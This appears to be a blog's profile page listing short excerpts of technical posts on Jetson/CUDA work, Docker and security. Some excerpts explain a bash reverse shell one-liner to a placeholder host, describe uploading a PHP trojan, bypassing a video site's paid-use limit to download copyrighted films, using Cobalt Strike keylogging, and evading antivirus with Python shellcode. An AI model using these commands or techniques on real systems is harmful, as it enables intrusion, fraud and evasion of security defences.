自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(35)
  • 收藏
  • 关注

原创 音频转mid、midi文件

Basic Pitch 就是干这个的——输入 MP3/WAV/FLAC 等音频文件,输出 MIDI 文件。处理音视频的时候,或者业余生活个人编曲相关工作,需要mdi、midi文件。这里分享一个开源项目,spotify开源,免费。

2026-05-19 11:06:24 207

原创 记一次靶场网站绕过免费次数的成功尝试

很多免费的工具网站都有使用次数的限制。一般来说限制你使用两三次,之后就收费了。但是两三次哪够啊?我决定要多几次免费次数。过年了,想找点旧电影看,浏览器插件idm 无法下载这些在线影视资源。都是受版权保护的,于是我决定采用一些在线视频解析网站。用他们解析完整视频然后下载。找到一个能用的。但是他有次数限制。只能使用两次。很快我的免费次数已经从2次变为0次了。唉,不行,我不想充钱。那怎么办呢。我尝试开始绕过。毕竟不能白学。。。学以致用呗。也本着一种对技术的好奇心和求知欲试试。

2026-02-18 15:07:02 1204

原创 你真的了解机箱后端的几个usb接口吗?为你的外接硬盘插入准确接口。

Steam 的任务是在你的硬盘上,预先创建出整个游戏大小的、由无数个零字节填充的文件结构。会发现这个速度非常慢(实际下载阶段很快),一旦换成蓝色的接口,这两个极端的速度就会变得都非常快,终于像个正常固态了。所以用usb外接固态发现“预留空间慢,下载快”是完全正常的现象,根源在于外接固态硬盘方案在应对海量小文件创建时,其随机写入性能和延迟远不如内置硬盘。主机前方的usb接口只用来插鼠标键盘,你可以理解成他就是接了个usb扩展槽的usb接口,机箱。黑色的USB-A口:很可能是老旧的USB 2.0,速度极慢。

2025-12-23 20:26:56 1028

原创 插入硬盘后(无线)鼠标突然变卡甚至动不了的解决办法

应该是因为共用了主机前侧的usb口,导致供电不足,磁盘读写要耗费大量电量,导致鼠标供电不足(真的太搞了),把鼠标插到后侧的usb口就好了(因为这个端口往往是直接供电的)。本人电脑插入移动硬盘后就出现了这种情况。

2025-12-12 19:01:58 713

原创 几天速通nvJPEG2000:GPU并行处理JEPG2000压缩算法

第四步最关键,这个库只能支持bmp等编码好的二进制格式,不能支持raw格式。通过阅读源码发现,本质上也是读取bmp等格式为像素数据,那么也无需将raw格式的dng图片转为bmp,再jpeg2000编码。几天整明白了nvJPEG这个库,并且在arm架构的英伟达jetson开发板,采用gpu并行,实际将DNG图片压缩为jpeg2000的格式:j2k。要做到移植,还需要保证安装的包(opencv等)也是arm架构,并且版本要合适。第五步,源码是按照批次循环处理的。然而,官方的例子给出的支持架构是x86。

2025-09-29 13:56:06 511

原创 nvJPEG2000 nvidia-jetson开发板部署、编译运行

g++→ 调用 GNU C++ 编译器→ 你要编译的 C++ 源文件→ 指定输出可执行文件的名字为encode_j2k。

2025-09-26 16:13:06 856

原创 深度学习删除环境与依赖

而硬件调试则复杂得多,比如在汽车行业,问题可能涉及机械、电子、软件等多方面因素,排查起来常常毫无头绪,环节冗杂、流程混乱。而制造业则高度依赖经验积累和内部流程,不同公司使用的仿真工具、测试方法、开发规范差异巨大,因此不得不设置培训——尽管这类培训实际效果往往有限。我逐渐对AI领域有了新的认识。曾经我对AI的能力持怀疑态度,但自从接触到GPT-4、GPT-5、Gorik等大模型之后,我才意识到它的潜力已经非常强大。即便最终AI未能如预期般颠覆世界,退一步转向这些语言的纯开发岗位,依然是一条可行的职业路径。

2025-09-26 13:09:15 378

原创 CUDA开发基础教程:CUDA开发初探

开发环境:NVIDIA Jetson 开发板,nvcc编译器我们直接从程序入手学习cuda开发。

2025-09-24 16:45:03 692

原创 碧蓝航线装备参数探究——关于金色之耻

大多数游戏中,金色装备都是最diao的存在。但是在碧蓝航线这种硬核军事海事游戏里,很多金色装备实际上表现并不如紫色装备。而很多人在入坑后多年都没发现这一点,反倒是一直给金色垃圾装备强化+10。今天不写代码,我们研究一下碧蓝航线的金色之耻装备来学习装备的机制:为什么有些装备是金色之耻?我们只研究后排的武器,也就是航母和战列。因为在这个游戏,后排本身比前排重要,前排主要是抗伤或者辅助,不能指望前排输出,后排输出才是大头;其次,前排的装备需要避坑的点也比较少,

2025-09-21 22:46:16 1428

原创 jetson安装cuda全环境docker镜像

在英伟达jetson开发板开发深度学习项目时,经常会有cuda类库的报错。手动编译源码、配置环境不胜其烦,并且效率极其低下,有没有一种办法能够直接拉取别人用过的镜像,尤其是自带cuda支持的opencv呢?这样即使报错,也可以在虚拟容器中使劲折腾,并不影响源环境。这个镜像名字里边有py3,看起来好像是专门为python准备的,事实上,关于c++的相关api也是齐全的。不过也有一些缺点,一些其他工具还是要你自己配。有的,可以直接docker拉下来英伟达官方镜像。在tag中,我们可以找到很多镜像。

2025-09-08 10:21:12 508

原创 linux(jetson开发板等)挂载固态硬盘

像jetson这类开发板,不管什么型号应该都有SSD在里边插着。所以当自带的存储空间不足,就需要启用固态硬盘了(我是下载docker镜像才发现存储空间不太够的,所以说有时候感觉docker比较卡,可能就是那个镜像太大了)。sudo mount -a 是测试是否配置成功的。没报错就说明成功了。发现最后一行存在200多G的家伙。唉,感觉自己都快成运维了。

2025-09-05 09:14:46 267

原创 docker拉取镜像提示网络问题怎么办

就是因为镜像源不行,像腾讯、阿里、清华等镜像源现在都需要登录或者注册,或者需要内部用户使用。以前记得还不需要这样。这个原因很简单,本质上镜像存在国外服务器,你一拉取会被国内网限速,尤其移动。所以能留给你用的免费镜像源极少极少,需要自己找了。一度怀疑是自己别的地方做错了,其实就是镜像源没选对。但是更换镜像源之后为什么还是不行?

2025-09-05 08:53:08 158

原创 access口和trunk口还有个安全上的区别

Trunk口一般比access口厉害一些。用于连接交换机之间或连接三层设备、汇聚多个VLAN的数据流,也就是说能同时传递多个VLAN的数据流。但是access只能属于一个VLAN。所以将用户或不可信端口配置为Trunk口,确实存在较高的安全风险。相比Trunk口,Access口大大限制了攻击者可利用的攻击面,如防止VLAN跳跃攻击、环路制造、协议欺骗等,从而有效降低整个网络被攻击或瘫痪的风险。这是构建网络边界、保障内网安全的基础做法。记录一些工作中遇到的收获。

2025-07-28 16:00:35 255

原创 多进程 共享内存使用互斥锁(包括多线程)

但是我发现 在多进程的情况下 是不能这么做的,会出问题的。当时心里有预感了,pthread是多线程的库 但是对于多进程 是不是就不能用多线程的库了呢?而有时候要修改一些共享内存的变量,为了避免冲突(因为多线程多进程情况下 都有可能会同时访问一块数据),那应该怎么做呢?可以看得出来呢,其实就是把互斥的操作夹在了sem_wait和sem_post之间。有个项目式多进程多线程都有的。的,无法跨进程使用。,这样互斥锁可以放置在共享内存中,供多个进程访问。其实真正的问题就是多进程环境中运行时,标准的。

2024-12-05 09:24:06 854 1

原创 夜神模拟器启动报错:虚拟机启动失败 请进行修复 关闭hyper-v

不用这台电脑上装夜神模拟器了。用我家的台式机todesk上夜神模拟器吧。没必要为了玩个手游把电脑安全性破坏了。这个VT怎么开很简单。就是你F2 F10 F12什么的都试试开机时按一按。我电脑win11(win10 win11都一样 )去安全中心-设备安全性。关闭这个比较麻烦 还要修改注册表,我还担心修改不回来了。往往在configuration 、secure等模块内。所以问题就是夜神模拟器无法识别到我的VT已开启。但是我的笔记本本来就是enable。不是关闭hyper-v的问题。

2024-11-19 14:24:08 8827

原创 win11 纯净桌面和锁屏 去广告和捆绑的组件

解决办法1.以毒攻毒,用360壁纸等覆盖掉联想桌面助手的壁纸。但是360壁纸等壁纸软件本身也会弹广告。首先删掉联想一些没用的软件。但是建议留着联想 zone。然后我们发现锁屏的时候还会弹广告,还会被联想桌面助手一直换壁纸,联想桌面助手还删不掉。然后你会发现你的二次元美少女壁纸覆盖掉了联想的臃肿壁纸。建议先点一个 然后确认。然后我们需要覆盖掉壁纸和锁屏。找到一个壁纸,因为一般都是动态的,开着浪费资源。去设置-个性化-任务栏 关掉小组件。这里我们去设置-个性化-锁屏界面。这样右下角就没有烦人的东西了。

2024-11-18 15:41:57 1445

原创 快速查找数组中出现奇数次的数字

我觉得甚至都不能说是智力题。这种题目纯看经验,自己做过类似的,就有印象,就能往这个方面去想。人和人的思维方式都不一样,不一定我就能想到你希望我能想到的。首先:result = 0 ,0^2 =2;例如针对 2,2,2,1,2,1,1。可以举个例子理解一下代码执行过程。主要用到了异或的三条性质。

2024-08-22 09:24:01 305

原创 TLS握手过程的深入思考(秋招春招面经)

TLS1.2的大致过程:TLS1.3进行了优化。客户端上来就发送公钥。其实我们还没有谈到双向验证的问题。之前是服务端发送证书给客户端验证 为的是验证服务器的身份。可是客户端的身份怎么验证呢?其实在客户端第一步发送时 就也可以直接发送公钥证书 服务器再验证。第二步 服务器返回hello消息 也带着自己的证书 客户端也进行一个验证。在这前两步 就可以做一个双向的验证。

2024-07-30 17:17:31 1404

原创 linux删除海量文件的一些技巧

或者:(删除当前目录下的jpg) 感觉这个效率高点。此时如果用常规的rm -f -r等命令删除。使用管道符和find命令。发现有500多万条数据。会提示参数列表过长。

2024-07-29 09:52:00 360

原创 一次文件上传漏洞的挖掘的尝试

因为文件上传漏洞大概率拿不到shell,但是可以试试上传脏文件。这样我直接该前端代码,浏览器点击上传文件,选中一个1GB的大文件传,不是很方便吗?但是前端代码只要和jpg有关的我都改为了php,并且js都重写了。我知道浏览器f12改代码仅仅改的静态资源。说不定有的js代码写的判断类型和校验比较隐晦不好搜到。前端改代码就是这样的。(为什么传php因为他的子域名我挖到了phpmyadmin的泄露。访问返回的url即可查看我的php木马文件。这也就获取到了文件上传的目录。抓包看看,点击上传的时候也没有发包。

2024-06-28 10:22:26 659

原创 java版本切换最简单的方法

其实java版本切换非常方便。不需要像python一样还要装一个臃肿的conda。原理其实感觉就是修改了/etc/profile文件 的环境变量。此时选择你想切换的版本 输入对应数字 按回车。以下技巧开发java时是很常用的。

2024-06-25 20:35:06 1899

原创 实现一个简易的C语言/C++ 二进制查看器。

但是Binary Viewer最大支持打开4GB的文件。我遇到了一个7GB的文件。用这种查看器的软件查看,还会卡。因为他们可能是直接把所有数据或者大部分读到内存里。这样你一读你的电脑就卡爆。有很多图形化的二进制查看器。比如Binary Viewer。有时候只是想单纯获取一个超大文件的几位二进制而已。可以自己实现一个简易的命令行二进制查看器。随手把自己写的分享过来。

2024-06-25 17:22:36 577

原创 记一次针对edu的src漏洞挖掘

目前高校都越来越重视安全。好点的漏洞都很难挖了。更何况是外校去挖,连登录口令都没有。水洞又不稀罕。说容易挖也容易挖,谷歌黑客语法能有一堆信息泄露。但是是个人都会啊。白忙活。受不了。连个高危漏洞都没交上去。心态崩了。其实也无所谓。这样做应该是对的。因为挖个教育src也不给钱,还不如好好挖挖 挖出个严重漏洞很有成就感,交个中危低危。也不给钱。主要就是抠门导致的。最后不建议上我的本科学校。山东某省属第一的双非。夏天没空调。40度。学习都学不进去。硬件条件很差。很多问题也有。

2024-06-18 23:00:22 1943

原创 使用phpstudy搭建DVWA靶场 发现mysql一直无法启动的解决办法

然后你还要去DVWA里改一下mysql端口。把mysql从3306改成3307。可能你有别的应用 也占用这个端口。

2024-06-16 20:08:00 686

原创 docker镜像下载加速的究极解决办法

网上有很多教程可以改代理地址。镜像较大 网速不好时,docker-compose up -d 拉下来还是容易超时。docker拉取镜像、容器 容易超时 原因就不细说了。有一个究极解决办法:用阿里云镜像加速。记得把xxx改成你的地址。

2024-06-08 20:10:14 515

原创 快速看懂linux反弹shell原理

bash -i >& /dev/tcp/6.6.6.6/6666 将文件描述符的1,2(标准输出和标准错误)重定向到tcp连接的一台主机上。0>&1 : 再把标注输入0 重定向到标准输出1,也就是tcp连接的那台主机(因为1 之前就被重定向了)。-i: i就是interactive,bash -i就是创建一个交互式的shell。其中6.6.6.6是ip地址,6666是端口。

2024-06-08 10:53:44 397

原创 c/c++自己写异常处理 运行别人/自己的屎山代码 循环里跑忽略报错、段错误等

实际学习工作时很多人会扔给你屎山代码。可能其中不对长度做校验,可能其中有bug。而你的老师或者老板往往只要结果,只要你跑起来代码 别的不管。由于段错误等是系统级别调用,往往会直接关掉你这个主进程。try catch无法捕捉异常来继续下一个循环。因为当你程序发生异常 实则是操作系统给了你程序一个异常的信号量,让你程序赶紧终止。我们只想在循环里能够把代码跑起来 忽略掉报错的几次。我们捕获这次异常信号, 不让程序退出,跳转进行下一次循环。这里我假设别人的屎山代码封装成了一个函数。

2024-05-30 22:05:23 636

原创 关于cobalt strike反控、反向上线的学习

很多博客都提到了这个,但是似懂非懂,又不够简洁。

2024-05-21 23:05:29 829 1

原创 cobalt strike清理缓存

但是注意,这里Reset 其实是把你的历史数据也清了。所以可以先做出 几个report。再reset data。不然,你运行时间长了,每次进去,都要加载很久。

2024-05-20 22:31:48 1609

原创 cobalt strike关闭键盘监听

开启方法: bacon中输入:keylogger。默认是开辟随机进程空间。突然发现不知道咋关了 给我服务器卡死了。然后jobkill 对应的<jid>bacon中输入jobs。

2024-05-20 20:48:52 411 1

原创 新大陆:用vim在IDE里代码

你可以参照插件的说明文档,把vim的设置改一改。设置一下他的缩进规则 啊 自动补全啊什么的。你此时可以输入gg和G试一下会不会移动到开头结束。不过注意这样输入法只能英文了。此时你注意的光标和左下角。你需要:VS Code。这样写代码就爽翻天了。

2024-05-11 11:00:37 359 1

原创 安全领域的EDR是什么

那么,该文件就将被标记和隔离,直到确认该过程的安全性。端点威胁检测和响应 (ETDR) 一词是由 Gartner 分析师于 2013 年创造的,他写道:“这个名称反映了端点(相对于网络)、威胁(相对于恶意软件和官方宣布的事件)和工具“主要用于检测和事件响应”该术语于 2015 年更改为 EDR。Gartner 于 2013 年定义了这一术语,被认为是一种面向未来的终端解决方案,以端点为基础,结合终端安全大数据对未知威胁和异常行为进行分析,并作出快速响应,后来被业界通称为端点检测和响应 (EDR)。

2024-05-07 11:01:17 2375

原创 Python shellcode免杀无文件落地

总结:python的免杀在我个人看来已经不推荐了。pyinstaller打包特征过于明显,python本身是高级解释性语言,没有c的底层api 你用Virtual alloc分配内存也特别明显,编译后的exe文件极其容易被查出特征。尽管有时可以过一些杀软,考虑性价比 仍然不推荐用python。你可以尝试改改特征,换个打包工具。应该还是可以有时过掉比较难过的杀软。某数字杀软本身宁错杀勿放过,其次人家有智慧云大脑,这玩意只要被查出来就会上传云上,之后就不免杀。使用pyinstaller打包客户端。

2024-04-23 14:07:35 671 1

原创 Windows最好用的gcc/g++编译器Tmdgcc

今天发现电脑抽风,应该是因为重装的系统太干净了,纯净版win10,很多东西都没有。MinGW应该是最先诞生的。也都是基于gcc的。TDM-GCC是非官方组织提供及维护的编译器集成包。换句话说,他不是由MinGW或MinGW-w64项目官方提供的编译器集成包。而且tmdgcc下载好后,运行安装程序exe,可以一键安装,一键添加到path。例如,TDM-GCC集成了:最新的稳定版本的GCC工具集,一些实用的补丁。我觉得这个是最好用的。运行一些简单的非MFC程序还是可用的。Tmdgcc是最好用的一个编译器。

2024-04-16 21:11:36 1489 1

原创 vmware 为什么桥接模式连不上网的解决办法

原因我不知道,可能kali 虚拟机和vm ware不太兼容 我用的较高版本kali linux。你刚开始那个设置 就相当于一个切换。这里边的三个网卡,就等着被你切出来。这个“自动” 基本不用管。就把这个【自动】换成你的有线网卡。(你可以一开始点击 “还原默认设置” 这样成功率高一些)一个用来桥接 一个用来nat 一个用来仅主机连接。但是呢,怎么解决桥接网卡连不上网的问题呢。今天一天了,发现换个内网就经常这样。你把桥接模式这个虚拟网络,移除掉。你先点击“应用” 在设置桥接模式。基本解决99%的问题。

2024-04-11 22:19:56 2680 2

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除